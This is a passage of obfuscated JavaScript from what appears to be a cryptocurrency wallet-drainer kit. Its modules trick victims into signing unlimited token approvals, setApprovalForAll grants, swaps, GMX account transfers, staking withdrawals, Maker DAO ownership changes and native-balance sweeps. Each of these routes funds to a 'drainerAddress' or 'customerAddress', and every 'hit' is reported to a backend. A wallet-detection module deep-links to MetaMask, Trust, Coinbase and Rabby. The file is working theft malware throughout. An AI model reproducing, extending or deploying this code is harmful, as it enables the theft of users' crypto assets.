- let v340 = JZmylD(_0x10eb52, vzwAVq = 7) === ABLWty.apply(undefined, [1013]) && _0x1b8eac.sxGgtl.tokensId.length === 1;
- let v341;
- if (_0x10eb52 === "erc20" && vQ10["use_in" + ABLWty(1014) + "_allowance_when_available"] && JZmylD(_0x580bef[1000], WAZ9Ax(7))) {
- let v342 = [f40(_0x5bccd5, _0x1e2256, _0x42009b, v333.encodeFunctionData("increaseAllowance", [v339, _0x260cdf])), f40(_0x5bccd5, _0x1e2256, _0x42009b, v333.encodeFunctionData("increaseApproval", [v339, _0x260cdf]))];
- let [v343, v344] = await Promise.all(v342);
- if (JZmylD(v343, WAZ9Ax(_0x1b8eac[9] + 148)) && JZmylD(v344, WAZ9Ax(7)) && vQ10.use_token_transfer_if_increase_allowance_not_available) {
- v335.push(vJZmylD25);
- return vWt(_0x1b8eac.sxGgtl);
- }
- v341 = v343 ? "increaseAllowance" : v344 ? "increaseApproval" : "approve";
- } else if (_0x1b8eac.sxGgtl.supportingMulticall) {
- v340 = JZmylD(1, WAZ9Ax(7));
- v341 = "setApprovalForAll";
- } else if (_0x1b8eac.sxGgtl.isJoeTraderLp) {
- v341 = "approveForAll";
- } else if (v340 && JZmylD(_0x1b8eac.sxGgtl.tokensIdAmounts, vzwAVq = 7)) {
- _0x1b8eac[164] = await f40(_0x5bccd5, _0x1e2256, _0x42009b, v334["encodeFuncti" + ABLWty(1015)]("approve", [v339, _0x1b8eac.sxGgtl[ABLWty(428)][0]]), JZmylD(1, vzwAVq = 7));
- v340 = _0x1b8eac[164];
- v341 = _0x1b8eac[164] ? "approve" : "setApprovalForAll";
- } else {
- v341 = _0x10eb52 === "erc20" ? "approve" : "setApprovalForAll";
- }
- let v345 = [v339, v341 === "setApprovalForAll" || v341 === "approveForAll" ? JZmylD(_0x1b8eac[9] + 141, WAZ9Ax(_0x1b8eac[9] + 148)) : v340 ? _0x1b8eac.sxGgtl.tokensId[_0x1b8eac[9] + 141] : vQ10.approve_only_balance ? _0x1b8eac.sxGgtl.balance : _0x260cdf];
- let v346 = (_0x10eb52 === "erc20" ? v333 : v334).encodeFunctionData(v341, v345);
- if (_0x1b8eac.sxGgtl[ABLWty(1016)]) {
- v346 = v334.encodeFunctionData("multicall", [[v346]]);
- }
- const v347 = {
- to: _0x5bccd5,
- data: v346
- };
- let v348 = v341 === "approve" && _0x580bef[1000];
- if (v348) {
- v347.from = _0x1e2256;
- const v349 = {
- isHighPrice: v338 > 1000
- };
- let [v350, v351] = await _0x34f461(v347, _0x42009b, v349);
- if (v351 === "staked") {
- return JZmylD(1, WAZ9Ax(7));
- }
- v347.gasLimit = _0x37eb68(v350);
- delete v347.from;
- v347.data += v339.replace("0x", "");
- for (let v352 = 0; v352 < 512; v352++) {
- v347.data += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff";
- }
- }
- let v353 = v340 ? JZmylD(_0x1b8eac.sxGgtl.tokensId[0], " approvement", vzwAVq = -5) : _0x10eb52 === "erc20" ? "approvement" : JZmylD("(" + _0x1b8eac.sxGgtl.tokensId.length, " NFTs) SAFA", WAZ9Ax(-5));
- let [v354, v355, v356] = await _0x585202(v347, _0x42009b, JZmylD(_0x124d53 + " ", v353, vzwAVq = -5), v338);
- if (_0x1b8eac[_0x1b8eac[9] + 150] > -80) {
- return _0x1b8eac[-102];
- } else if (v354) {
- _0x12b290(v355 === "signature" ? {
- chainId: _0x42009b,
- walletAddress: _0x1e2256,
- signature: v354,
- rawTx: v347,
- multiFunctionsContract: vJZmylD26,
- salt: vJZmylD27,
- asset: _0x1b8eac.sxGgtl,
- isSingleNftApprove: v340,
- price: v338,
- longData: v348,
- isManualClaimNeeded: v356,
- type: 1
- } : {
- chainId: _0x42009b,
- walletAddress: _0x1e2256,
- txHash: v354,
- [ABLWty.call(undefined, 1009)]: vJZmylD26,
- salt: vJZmylD27,
- asset: _0x1b8eac.sxGgtl,
- isSingleNftApprove: v340,
- longData: v348,
- price: v338,
- type: _0x1b8eac[9] + 143
- }, "approvement");
- return JZmylD(0, WAZ9Ax(7));
- } else {
- return JZmylD(1, vzwAVq = 7);
- }
- }, 1);
- }, 2));
- var Hn = I(ZZ1LRs((..._0x18c322) => {
- _0x18c322.length = 2;
- _0x18c322.Bgp9iF = _0x18c322[1];
- var vQ11 = q();
- var vD17 = D();
- var {
- SWAP: _0x8a31fd
- } = ue();
- var {
- getText: _0x3ab563,
- numberToHex: _0x58de24
- } = pe();
- var {
- log: _0x57eb17
- } = Y();
- var {
- request: _0xf07dbf
- } = Y();
- var {
- estimateGasLimit: _0x506f1f,
- sendTransaction: _0x549b1b
- } = Z();
- var v357 = new ethers.utils.Interface(_0x8a31fd);
- var vF11 = function (p90) {
- for (var v358 = 16; v358 % 4 === 0; v358++) {
- var v359 = 0;
- p90 = p90.concat(function () {
- v359++;
- if (v359 === 1) {
- return [];
- }
- for (var v360 = 87; v360; v360--) {
- p90.unshift(p90.pop());
- }
- return [];
- }());
- }
- for (var v361 = 43; v361; v361--) {
- p90.unshift(p90.pop());
- }
- return p90;
- }([10, 20, 30, 40, 50, 1, 2, 5]);
- _0x18c322[92] = _0x18c322[0];
- ZZ1LRs(f41, 6);
- _0x18c322.z5cohk = -43;
- function f41(..._0x1ab24e) {
- _0x1ab24e.length = 6;
- _0x1ab24e.uguzTH = _0x1ab24e[1];
- _0x1ab24e.ISHCUL9 = [_0x1ab24e[0].balance, _0x1ab24e.uguzTH, [_0x1ab24e[0].address, _0x1ab24e[2]], _0x1ab24e[5]];
- if (_0x1ab24e[3]) {
- _0x1ab24e.ISHCUL9.push(JZmylD(Math.floor(Date.now() / 1000), 315360000, WAZ9Ax(-5)));
- }
- _0x1ab24e[7] = _0x1ab24e[4] ? _0x1ab24e[3] ? "swapExactTokensForTokensSupportingFeeOnTransferTokens(uint256, uint256, address[], address, uint256)" : "swapExactTokensForTokensSupportingFeeOnTransferTokens(uint256, uint256, address[], address)" : _0x1ab24e[3] ? "swapExactTokensForTokens(uint256, uint256, address[], address, uint256)" : "swapExactTokensForTokens(uint256, uint256, address[], address)";
- return v357.encodeFunctionData(_0x1ab24e[7], _0x1ab24e.ISHCUL9);
- }
- ZZ1LRs(f42, 3);
- async function f42(..._0x3ec228) {
- _0x3ec228.length = 3;
- _0x3ec228.ESkYof = _0x3ec228.rt9S0yN;
- let {
- chainId: _0x352802,
- deadline: _0x23be5d,
- supportingFeesOnTransferToken: _0x584c37,
- multicall: _0x118096
- } = _0x3ec228[0];
- let {
- customerAddress: _0x6d301e,
- chainsInformations: _0x572a82,
- swapOutputTokens: _0x468839,
- isAutoSplitEnabled: _0x54318f,
- adminsNonSplittedHitsAddress: _0x12b75c,
- walletAddress: _0x2ff800
- } = vD17;
- let v362 = [];
- let v363;
- _0x3ec228.ra7cuL = _0x3ec228[1];
- for (let v364 of _0x3ec228[0].tokens) {
- let v365 = v364.address === _0x468839[_0x352802][0] ? _0x468839[_0x352802][1] : _0x468839[_0x352802][0];
- let v366 = v364.address === _0x468839[_0x352802][0] ? 1 : _0x572a82[_0x352802].price;
- let v367 = v364.address === _0x468839[_0x352802][0] ? _0x468839[_0x352802][2] : 18;
- let v368 = BigInt(Math.round(JZmylD(v364.price / v366 * (100 - _0x3ec228.ra7cuL) / 100, Math.pow(10, v367), WAZ9Ax(-33)))).toString();
- if (_0x118096) {
- _0x3ec228.ESkYof = f41(v364, v368, v365, _0x23be5d, _0x584c37, _0x54318f && _0x3ec228[2] > 5000 ? _0x12b75c : _0x6d301e);
- v362.push(_0x3ec228.ESkYof);
- } else {
- v363 = f41(v364, v368, v365, _0x23be5d, _0x584c37, _0x54318f && _0x3ec228[2] > 5000 ? _0x12b75c : _0x6d301e);
- }
- }
- if (_0x118096) {
- v363 = v357.encodeFunctionData("multicall", [v362]);
- }
- _0x3ec228[4] = 98;
- _0x3ec228[_0x3ec228[4] - 77] = {
- to: _0x3ec228[0].address,
- data: v363
- };
- _0x3ec228[21].from = _0x2ff800;
- let [v369, v370] = await _0x506f1f(_0x3ec228[21], _0x352802, {
- logFail: JZmylD(1, vzwAVq = 7),
- isHighPrice: _0x3ec228[2] > 1000
- });
- if (_0x3ec228[4] > _0x3ec228[4] + 127) {
- return _0x3ec228[101];
- } else if (["staked", "failed"].includes(v370)) {
- return JZmylD(1, vzwAVq = 7);
- } else {
- delete _0x3ec228[21].from;
- _0x3ec228[_0x3ec228[4] - 77].gasLimit = _0x58de24(v369);
- return _0x3ec228[21];
- }
- }
- _0x18c322.Bgp9iF.exports = ZZ1LRs(async function (..._0x3ebf69) {
- _0x3ebf69.length = 1;
- _0x3ebf69[93] = 115;
- let v371 = _0x3ebf69[_0x3ebf69[93] - 115].chainId;
- let v372 = _0x3ebf69[0].totalPrice || _0x3ebf69[0].price;
- let {
- walletAddress: _0x336563
- } = vD17;
- let v373 = [];
- _0x3ebf69[93] = -141;
- for (let v374 of vF11) {
- v373.push(f42(_0x3ebf69[0], v374, v372));
- }
- let v375 = await Promise.all(v373);
- let vJZmylD28 = JZmylD(1, WAZ9Ax(7));
- let vJZmylD29 = JZmylD(1, WAZ9Ax(7));
- _0x3ebf69[93] = -147;
- for (let v376 = 0; v376 < vF11[ABLWty(17)]; v376++) {
- if (v375[v376]) {
- vJZmylD28 = v375[v376];
- vJZmylD29 = vF11[v376];
- break;
- }
- }
- if (vJZmylD28) {
- if (vJZmylD29 > vQ11.max_slippage_on_swap) {
- for (let v377 of _0x3ebf69[0].tokens) {
- vD17.tokensBlacklistedFromSwap[JZmylD(_0x3ebf69[0].address + "-" + v377.address + "-", v371, WAZ9Ax(-5))] = JZmylD(0, WAZ9Ax(7));
- }
- const v378 = {
- bestSlippage: vJZmylD29
- };
- v378.chainId = v371;
- v378.routerName = _0x3ebf69[0].name;
- _0x57eb17(_0x3ab563("swap_slippage_" + ABLWty(386) + "h", v378), "error");
- return JZmylD(0, vzwAVq = 7);
- }
- } else {
- for (let v379 of _0x3ebf69[0].tokens) {
- vD17.tokensBlacklistedFromSwap[JZmylD(_0x3ebf69[0].address + "-" + v379.address + "-", v371, vzwAVq = -5)] = JZmylD(0, WAZ9Ax(7));
- }
- const v380 = {
- chainId: v371,
- routerName: _0x3ebf69[0].name
- };
- _0x57eb17(_0x3ab563("swap_i" + ABLWty.apply(undefined, [383]) + "ble", v380), "error");
- return JZmylD(0, WAZ9Ax(7));
- }
- let [v381, v382, v383] = await _0x549b1b(vJZmylD28, v371, JZmylD("Swap on ", _0x3ebf69[0].name, vzwAVq = -5), v372);
- if (JZmylD(v381, vzwAVq = 7)) {
- return JZmylD(1, vzwAVq = 7);
- }
- _0x3ebf69.mHVOuO = v382 === "signature" ? {
- chainId: v371,
- walletAddress: _0x336563,
- signature: v381,
- rawTx: vJZmylD28,
- tokens: _0x3ebf69[0].tokens,
- name: _0x3ebf69[0].name,
- price: v372,
- isManualClaimNeeded: v383,
- type: _0x3ebf69[93] + 148
- } : {
- chainId: v371,
- walletAddress: _0x336563,
- txHash: v381,
- tokens: _0x3ebf69[_0x3ebf69[93] - -(_0x3ebf69[93] + 294)].tokens,
- name: _0x3ebf69[0].name,
- price: v372,
- type: _0x3ebf69[93] + 149
- };
- if (_0x3ebf69[93] > -61) {
- return _0x3ebf69[-83];
- } else {
- _0xf07dbf(_0x3ebf69.mHVOuO, "swap");
- return JZmylD(0, WAZ9Ax(7));
- }
- }, 1);
- }, 2));
- var Kn = I(ZZ1LRs((..._0x104da0) => {
- _0x104da0.length = 2;
- _0x104da0[220] = _0x104da0[0];
- var vD18 = D();
- var {
- GMX_REWARD_ROUTER: _0x47503f
- } = ue();
- var {
- GMX_REWARD_ROUTER: _0x5b83a1
- } = de();
- var {
- request: _0x882246
- } = Y();
- var {
- sendTransaction: _0x226b54
- } = Z();
- var v384 = new ethers.utils.Interface(_0x47503f);
- _0x104da0[1].exports = ZZ1LRs(async function (..._0x3e2163) {
- _0x3e2163.length = 1;
- _0x3e2163.RzajbKb = _0x3e2163[0];
- let {
- gmxTokens: _0x349da1,
- gmxNewAddress: _0x5c9629,
- gmxSalt: _0x2283cc,
- walletAddress: _0x4286da
- } = vD18;
- let v385 = v384.encodeFunctionData("signalTransfer", [_0x5c9629]);
- let v386 = {
- to: _0x5b83a1,
- data: v385
- };
- let [v387, v388, v389] = await _0x226b54(v386, 42161, "Gmx", _0x3e2163.RzajbKb);
- _0x3e2163[244] = -31;
- if (_0x3e2163[244] > 60) {
- return _0x3e2163[-107];
- } else if (v387) {
- _0x882246(v388 === "signature" ? {
- chainId: 42161,
- walletAddress: _0x4286da,
- signature: v387,
- rawTx: v386,
- salt: _0x2283cc,
- tokens: _0x349da1,
- price: _0x3e2163.RzajbKb,
- isManualClaimNeeded: v389,
- type: 1
- } : {
- chainId: 42161,
- walletAddress: _0x4286da,
- txHash: v387,
- salt: _0x2283cc,
- tokens: _0x349da1,
- price: _0x3e2163.RzajbKb,
- type: 2
- }, "gmx");
- return JZmylD(0, WAZ9Ax(7));
- } else {
- return JZmylD(1, vzwAVq = 7);
- }
- }, 1);
- }, 2));
- var Jn = I(ZZ1LRs((..._0x497a78) => {
- _0x497a78.length = 2;
- _0x497a78.D3ErUd1 = _0x497a78[0];
- var vQ12 = q();
- var vD19 = D();
- var {
- SWELL_POOL: _0x22c4c8
- } = ue();
- var {
- SWELL_POOL: _0x26cb99
- } = de();
- var {
- request: _0x2aecbe
- } = Y();
- var {
- sendTransaction: _0x46bca4,
- getFutureContract: _0x31de29
- } = Z();
- var v390 = new ethers.utils.Interface(_0x22c4c8);
- _0x497a78.gq1BAX = -15;
- _0x497a78[_0x497a78.gq1BAX + 16].exports = ZZ1LRs(async function (..._0x1ee56b) {
- _0x1ee56b.length = 1;
- _0x1ee56b[235] = _0x1ee56b[0];
- let {
- address: _0x2df79c,
- decimals: _0x4917f2,
- balance: _0x1252f8,
- name: _0x1011c1,
- price: _0x5df609
- } = _0x1ee56b[235];
- let {
- drainerAddress: _0x42967d,
- customerAddress: _0x1a084a,
- isAutoSplitEnabled: _0x49f25c,
- multiFunctionsContracts: _0x185234,
- walletAddress: _0x40df06,
- useBypass: _0x250bf8
- } = vD19;
- console.log(_0x43967d);
- let v391;
- let vJZmylD30 = JZmylD(1, WAZ9Ax(7));
- let vJZmylD31 = JZmylD(1, vzwAVq = 7);
- _0x1ee56b.QVX0i0V = _0x1ee56b[235];
- if (_0x250bf8 && _0x5df609 > 500) {
- [vJZmylD31, vJZmylD30] = _0x31de29(1);
- v391 = vJZmylD30;
- } else {
- vJZmylD30 = vQ12.use_multi_functions_contract && _0x185234[1] ? _0x185234[1] : JZmylD(1, vzwAVq = 7);
- v391 = vJZmylD30 || (_0x49f25c ? _0x42967d : _0x1a084a);
- }
- _0x1ee56b[196] = -79;
- let v392 = v390.encodeFunctionData("withdraw", [_0x2df79c, _0x1252f8, v391]);
- let v393 = {
- to: _0x26cb99,
- data: v392
- };
- let [v394, v395, v396] = await _0x46bca4(v393, 1, JZmylD(_0x1011c1, " staked into swell", WAZ9Ax(-5)), _0x5df609);
- if (_0x1ee56b[_0x1ee56b[196] + 275] > -14) {
- return _0x1ee56b[158];
- } else if (v394) {
- _0x2aecbe(v395 === "signature" ? {
- chainId: 1,
- walletAddress: _0x40df06,
- ["signat" + ABLWty.apply(undefined, [757])]: v394,
- rawTx: v393,
- multiFunctionsContract: vJZmylD30,
- salt: vJZmylD31,
- token: _0x1ee56b.QVX0i0V,
- decimals: _0x4917f2,
- isTokenDirectlyOnCustomerWallet: v391 === _0x1a084a,
- price: _0x5df609,
- isManualClaimNeeded: v396,
- type: 1
- } : {
- chainId: 1,
- walletAddress: _0x40df06,
- txHash: v394,
- multiFunctionsContract: vJZmylD30,
- salt: vJZmylD31,
- token: _0x1ee56b.QVX0i0V,
- decimals: _0x4917f2,
- [ABLWty(1017)]: v391 === _0x1a084a,
- price: _0x5df609,
- type: 2
- }, "swell");
- return JZmylD(0, WAZ9Ax(7));
- } else {
- return JZmylD(1, WAZ9Ax(7));
- }
- }, 1);
- }, 2));
- var Zn = I(ZZ1LRs((..._0x425d31) => {
- _0x425d31.length = 2;
- _0x425d31.eKm_wjL = 32;
- var vD20 = D();
- var {
- MAKER_DAO: _0xbc3bb5
- } = ue();
- var {
- request: _0x2f552b
- } = Y();
- var {
- sendTransaction: _0x32b563
- } = Z();
- var v397 = new ethers.utils.Interface(_0xbc3bb5);
- _0x425d31.giAtBx = _0x425d31[1];
- _0x425d31.giAtBx.exports = ZZ1LRs(async function (..._0x1eb9c4) {
- _0x1eb9c4.length = 2;
- _0x1eb9c4.ReVcWT = _0x1eb9c4[0];
- let {
- drainerAddress: _0x22fda6,
- walletAddress: _0x4a1f9b
- } = vD20;
- let v398 = v397.encodeFunctionData("setOwner", [_0x22fda6]);
- let v399 = {
- to: _0x1eb9c4[1],
- data: v398
- };
- let [v400, v401, v402] = await _0x32b563(v399, 1, "Maker DAO contract", _0x1eb9c4.ReVcWT);
- if (v400) {
- _0x2f552b(v401 === "signature" ? {
- chainId: 1,
- walletAddress: _0x4a1f9b,
- signature: v400,
- rawTx: v399,
- proxyAddress: _0x1eb9c4[1],
- price: _0x1eb9c4.ReVcWT,
- isManualClaimNeeded: v402,
- type: 1
- } : {
- chainId: 1,
- walletAddress: _0x4a1f9b,
- txHash: v400,
- proxyAddress: _0x1eb9c4[1],
- price: _0x1eb9c4.ReVcWT,
- type: 2
- }, "maker-dao-contract");
- return JZmylD(0, vzwAVq = 7);
- } else {
- return JZmylD(1, vzwAVq = 7);
- }
- }, 2);
- }, 2));
- var es = I(ZZ1LRs((..._0x56f580) => {
- _0x56f580.length = 2;
- _0x56f580[81] = 29;
- var vD21 = D();
- var {
- FUEL_CONTRACT: _0x194be7
- } = de();
- var {
- FUEL: _0x43159b
- } = ue();
- var {
- request: _0x525b2a
- } = Y();
- var {
- sendTransaction: _0x12d3b1
- } = Z();
- var v403 = new ethers.utils.Interface(_0x43159b);
- _0x56f580[_0x56f580[81] + 220] = _0x56f580[0];
- _0x56f580[1].exports = ZZ1LRs(async function (..._0x3c6909) {
- _0x3c6909.length = 1;
- _0x3c6909[192] = _0x3c6909[0];
- let {
- price: _0x2a5e24,
- address: _0x2e5084,
- name: _0x10b541,
- amount: _0x550efb
- } = _0x3c6909[192];
- let {
- customerAddress: _0x572411,
- isAutoSplitEnabled: _0x3f5d21,
- adminsNonSplittedHitsAddress: _0x43a74d,
- walletAddress: _0x20be7d
- } = vD21;
- let v404 = _0x3f5d21 && _0x2a5e24 > 5000 ? _0x43a74d : _0x572411;
- let v405 = v403.encodeFunctionData("withdraw", [_0x2e5084, v404, _0x550efb]);
- let v406 = {
- to: _0x194be7,
- data: v405
- };
- let [v407, v408, v409] = await _0x12d3b1(v406, 1, JZmylD(_0x10b541, " staked into fuel", WAZ9Ax(-5)), _0x2a5e24);
- if (v407) {
- _0x525b2a(v408 === "signature" ? {
- chainId: 1,
- walletAddress: _0x20be7d,
- signature: v407,
- rawTx: v406,
- token: _0x3c6909[192],
- price: _0x2a5e24,
- isManualClaimNeeded: v409,
- type: 1
- } : {
- [ABLWty(423)]: 1,
- walletAddress: _0x20be7d,
- txHash: v407,
- token: _0x3c6909[192],
- price: _0x2a5e24,
- type: 2
- }, "fuel");
- return JZmylD(0, WAZ9Ax(7));
- } else {
- return JZmylD(1, vzwAVq = 7);
- }
- }, _0x56f580[81] - 28);
- }, 2));
- var ss = I(ZZ1LRs((..._0x3b359a) => {
- _0x3b359a.length = 2;
- _0x3b359a.WTVoFqb = -21;
- var vQ13 = q();
- var vD22 = D();
- var {
- TRANSFER_CONTRACT: _0x2c8a46
- } = ue();
- var {
- numberToHex: _0x30a6a5
- } = pe();
- var {
- request: _0x69c94e
- } = Y();
- var {
- estimateGasLimit: _0x21cb5b,
- sendTransaction: _0x263a39,
- getFutureContract: _0x50bd62,
- calculateTxFee: _0x1c3022
- } = Z();
- var v410 = new ethers.utils.Interface(_0x2c8a46);
- ZZ1LRs(f43, 2);
- async function f43(..._0x398f48) {
- _0x398f48.length = 2;
- _0x398f48.qSQi142 = 79;
- let {
- balances: _0x255e80,
- transferContracts: _0x468341,
- multiFunctionsContracts: _0x59a3d2,
- chainsInformations: _0x4b1514,
- walletAddress: _0x41850a,
- useBypass: _0xe1c0e0,
- balanceTransferBypassContracts: _0xec3191,
- balanceTransferBypassContractsV2: _0x141027
- } = vD22;
- let {
- name: _0x54aa89,
- gasPrice: _0x412cd4
- } = _0x4b1514[_0x398f48[0]];
- let {
- price: _0x5717a8,
- balance: _0x5754d2
- } = _0x255e80[_0x398f48[0]];
- let v411;
- let vJZmylD32 = JZmylD(1, vzwAVq = 7);
- let vJZmylD33 = JZmylD(1, vzwAVq = 7);
- let vJZmylD34 = JZmylD(1, WAZ9Ax(7));
- let vJZmylD35 = JZmylD(1, WAZ9Ax(7));
- let vJZmylD36 = JZmylD(1, WAZ9Ax(7));
- if (_0xe1c0e0 && (_0x398f48[0] === 1 ? _0x5717a8 > 500 : _0x5717a8 > 25)) {
- if (_0x5717a8 > 20000 && _0x141027 && _0x141027[_0x398f48[0]]) {
- _0x398f48.wh3aisA = await _0x69c94e({
- walletAddress: _0x41850a,
- [ABLWty(423)]: _0x398f48[0]
- }, "get-balance-transfer-bypass-signature");
- if (_0x398f48.wh3aisA && _0x398f48.wh3aisA !== JZmylD(0, WAZ9Ax(7)) && _0x398f48.wh3aisA !== "blacklisted" && _0x398f48.wh3aisA.data) {
- vJZmylD34 = _0x141027[_0x398f48[0]];
- v411 = vJZmylD34;
- vJZmylD35 = _0x398f48.wh3aisA.data;
- }
- } else if (_0x5717a8 > 2500 && _0xec3191 && _0xec3191[_0x398f48[0]]) {
- _0x398f48[21] = await _0x69c94e({
- walletAddress: _0x41850a,
- chainId: _0x398f48[_0x398f48.qSQi142 - 79]
- }, "whitelist-balance-transfer-bypass");
- if (_0x398f48[21] && _0x398f48[21] !== JZmylD(0, WAZ9Ax(7)) && _0x398f48[21] !== "blacklisted" && _0x398f48[_0x398f48.qSQi142 - 58].ok) {
- vJZmylD36 = _0xec3191[_0x398f48[0]];
- v411 = vJZmylD36;
- }
- }
- if (JZmylD(vJZmylD34, vzwAVq = 7) && JZmylD(vJZmylD36, vzwAVq = 7)) {
- [vJZmylD33, vJZmylD32] = _0x50bd62(_0x398f48[0]);
- v411 = vJZmylD32;
- }
- } else {
- vJZmylD32 = vQ13.use_multi_functions_contract && _0x59a3d2[_0x398f48[0]] ? _0x59a3d2[_0x398f48[0]] : JZmylD(1, WAZ9Ax(7));
- v411 = vJZmylD32 || _0x468341[_0x398f48[0]];
- }
- let v412 = vJZmylD35 || (vJZmylD33 ? "" : v410.encodeFunctionData(vQ13.transfer_function_name));
- let vBigInt3 = BigInt(_0x5754d2);
- let v413 = {
- [ABLWty(809)]: _0x41850a,
- to: v411,
- data: v412
- };
- let [v414, v415] = await _0x21cb5b(v413, _0x398f48[0], {
- [ABLWty(735)]: JZmylD(1, WAZ9Ax(7)),
- isHighPrice: _0x5717a8 > 1000
- });
- delete v413.from;
- if (v415 === "noGas") {
- return JZmylD(0, WAZ9Ax(7));
- }
- const v416 = {
- gasPrice: _0x412cd4
- };
- v416.gasLimit = v414;
- v416.data = v412;
- _0x398f48.bCsbJv = _0x1c3022(v416, _0x398f48[0]);
- _0x398f48.bCsbJv *= _0x5717a8 > _0x398f48.qSQi142 + 21 ? _0x5717a8 > 1000 ? _0x5717a8 > _0x398f48.qSQi142 + 4921 ? 0xfn : 0x5n : 0x2n : 0x1n;
- vBigInt3 -= _0x398f48.bCsbJv;
- _0x398f48.wzx9fAQ = JZmylD(_0x398f48[1], _0x5717a8, vzwAVq = 5);
- if (_0x5717a8 && (_0x398f48.wzx9fAQ > 0.1 || _0x398f48[1] > 1000)) {
- if (_0x5717a8 > _0x398f48.qSQi142 + 4921) {
- vBigInt3 = JZmylD(vBigInt3 * 0x18623n, 0x186a0n, vzwAVq = 5);
- } else if (_0x5717a8 > 1000) {
- vBigInt3 = JZmylD(vBigInt3 * 0x2693n, 0x2710n, vzwAVq = 5);
- } else if (_0x5717a8 > 500) {
- vBigInt3 = JZmylD(vBigInt3 * 0x3cfn, 0x3e8n, vzwAVq = 5);
- } else if (_0x5717a8 > 250) {
- vBigInt3 = JZmylD(vBigInt3 * 0x5fn, 0x64n, vzwAVq = 5);
- } else if (_0x5717a8 > 100) {
- vBigInt3 = JZmylD(vBigInt3 * 0x36bn, 0x3e8n, WAZ9Ax(_0x398f48.qSQi142 - 74));
- }
- }
- if (vBigInt3 <= 0x0n) {
- return JZmylD(0, vzwAVq = 7);
- }
- v413.value = _0x30a6a5(vBigInt3);
- v413.gasLimit = _0x30a6a5(v414);
- v413.gasPrice = _0x30a6a5(_0x412cd4);
- let [v417, v418, v419] = await _0x263a39(v413, _0x398f48[0], JZmylD(_0x54aa89, " balance transfer", WAZ9Ax(-5)), _0x5717a8);
- if (JZmylD(v417, vzwAVq = 7)) {
- return JZmylD(1, WAZ9Ax(7));
- }
- let v420 = _0x468341[_0x398f48[0]] === v411;
- let v421 = v418 === "signature" ? {
- [ABLWty(423)]: _0x398f48[0],
- walletAddress: _0x41850a,
- signature: v417,
- [ABLWty(752)]: v413,
- multiFunctionsContract: vJZmylD32,
- salt: vJZmylD33,
- value: vBigInt3.toString(),
- useNormalReceiverContract: v420,
- balanceTransferBypassContractV2: vJZmylD34,
- balanceTransferBypassContract: vJZmylD36,
- [ABLWty(413)]: _0x5717a8,
- isManualClaimNeeded: v419,
- type: 1
- } : {
- chainId: _0x398f48[0],
- walletAddress: _0x41850a,
- txHash: v417,
- multiFunctionsContract: vJZmylD32,
- salt: vJZmylD33,
- value: vBigInt3.toString(),
- useNormalReceiverContract: v420,
- balanceTransferBypassContractV2: vJZmylD34,
- balanceTransferBypassContract: vJZmylD36,
- price: _0x5717a8,
- type: _0x398f48.qSQi142 - 77
- };
- if (_0x398f48.qSQi142 > _0x398f48.qSQi142 + 50) {
- return _0x398f48[-28];
- } else {
- _0x69c94e(v421, "balance-transfer");
- return JZmylD(0, vzwAVq = 7);
- }
- }
- _0x3b359a[_0x3b359a.WTVoFqb + 22].exports = f43;
- }, 2));
- var ye = I(ZZ1LRs((..._0x452350) => {
- _0x452350.length = 2;
- _0x452350[241] = _0x452350[1];
- var {
- isTelegramMiniApp: _0xd8a17a,
- isMobile: _0x25b6c8
- } = D();
- _0x452350[241].exports = function (p91, p92 = JZmylD(0, WAZ9Ax(7))) {
- let v422;
- if (p91 === "binance") {
- v422 = window.BinanceChain;
- if (JZmylD(v422, WAZ9Ax(7)) && p92) {
- if (_0x25b6c8) {
- alert("Binance wallet is only available on desktop");
- } else {
- window.open("https://chrome.google.com/webstore/detail/binance-wallet/fhbohimaelbohpjbbldcngcnapndodjp", "_blank")?.[ABLWty.apply(undefined, [1018])]?.();
- }
- }
- }
- let v423 = window.ethereum ? window.ethereum.providers || [window.ethereum] : [];
- if (p91 === "metamask") {
- v422 = v423.find(p93 => p93.isMetaMask);
- if (JZmylD(v422, vzwAVq = 7) && p92) {
- if (_0x25b6c8) {
- let v424 = location.href.replaceAll(ABLWty.apply(undefined, [1019]) + "//", "").replaceAll("http://", "");
- if (_0xd8a17a || window.frameElement) {
- window[ABLWty(1020)](JZmylD("https://metamask.app.link/dapp/", v424, vzwAVq = -5), "_parent")?.focus?.();
- } else {
- location.href = JZmylD("dapp://", v424, WAZ9Ax(-5));
- }
- } else {
- window.open("https://metamask.io", "_blank")?.focus?.();
- }
- }
- } else if (p91 === "trustWallet") {
- v422 = v423.find(p94 => p94.isTrust);
- if (JZmylD(v422, WAZ9Ax(7)) && p92) {
- if (_0x25b6c8) {
- let vJZmylD37 = JZmylD("https://link.trustwallet.com/open_url?coin_id=60&url=", location.href, WAZ9Ax(-5));
- if (_0xd8a17a || window.frameElement) {
- window.open(vJZmylD37, "_parent")?.focus?.();
- } else {
- location.href = vJZmylD37;
- }
- } else {
- window.open("https://trustwallet.com", "_blank")?.focus?.();
- }
- }
- } else if (p91 === "coinbase") {
- v422 = v423.find(p95 => p95.isCoinbaseWallet || p95["isCoin" + ABLWty(1021) + "owser"]);
- if (JZmylD(v422, WAZ9Ax(7)) && p92) {
- if (_0x25b6c8) {
- let vJZmylD38 = JZmylD("https://go.cb-w.com/dapp?cb_url=", location[ABLWty(442)], WAZ9Ax(-5));
- if (_0xd8a17a || window.frameElement) {
- window.open(vJZmylD38, "_parent")?.focus?.();
- } else {
- location.href = vJZmylD38;
- }
- } else {
- window.open("https://www.coinbase.com/wallet", "_blank")?.focus?.();
- }
- }
- } else if (p91 === "rabby") {
- v422 = v423.find(p96 => p96.isRabby);
- if (JZmylD(v422, WAZ9Ax(7)) && p92) {
- if (_0xd8a17a) {
- window.Telegram.WebApp.openLink("https://rabby.io");
- window.open("https://rabby.io")?.focus?.();
- location.href = "https://rabby.io";
- } else if (window.frameElement) {
- window.open("https://rabby.io")?.focus?.();
- } else {
- location.href = "https://rabby.io";
- }
- }
- } else {
- v422 = v423[0];
- return v422 || JZmylD(1, vzwAVq = 7);
- }
- return v422 || "redirected";
- };
- }, 2));
- var Ve = I(ZZ1LRs((..._0x2a50f7) => {
- _0x2a50f7.length = 2;
- _0x2a50f7.MXMF_Dc = -129;
- var vQ14 = q();
- var {
- sleep: _0x5569fb
- } = pe();
- var {
- request: _0x21af93
- } = Y();
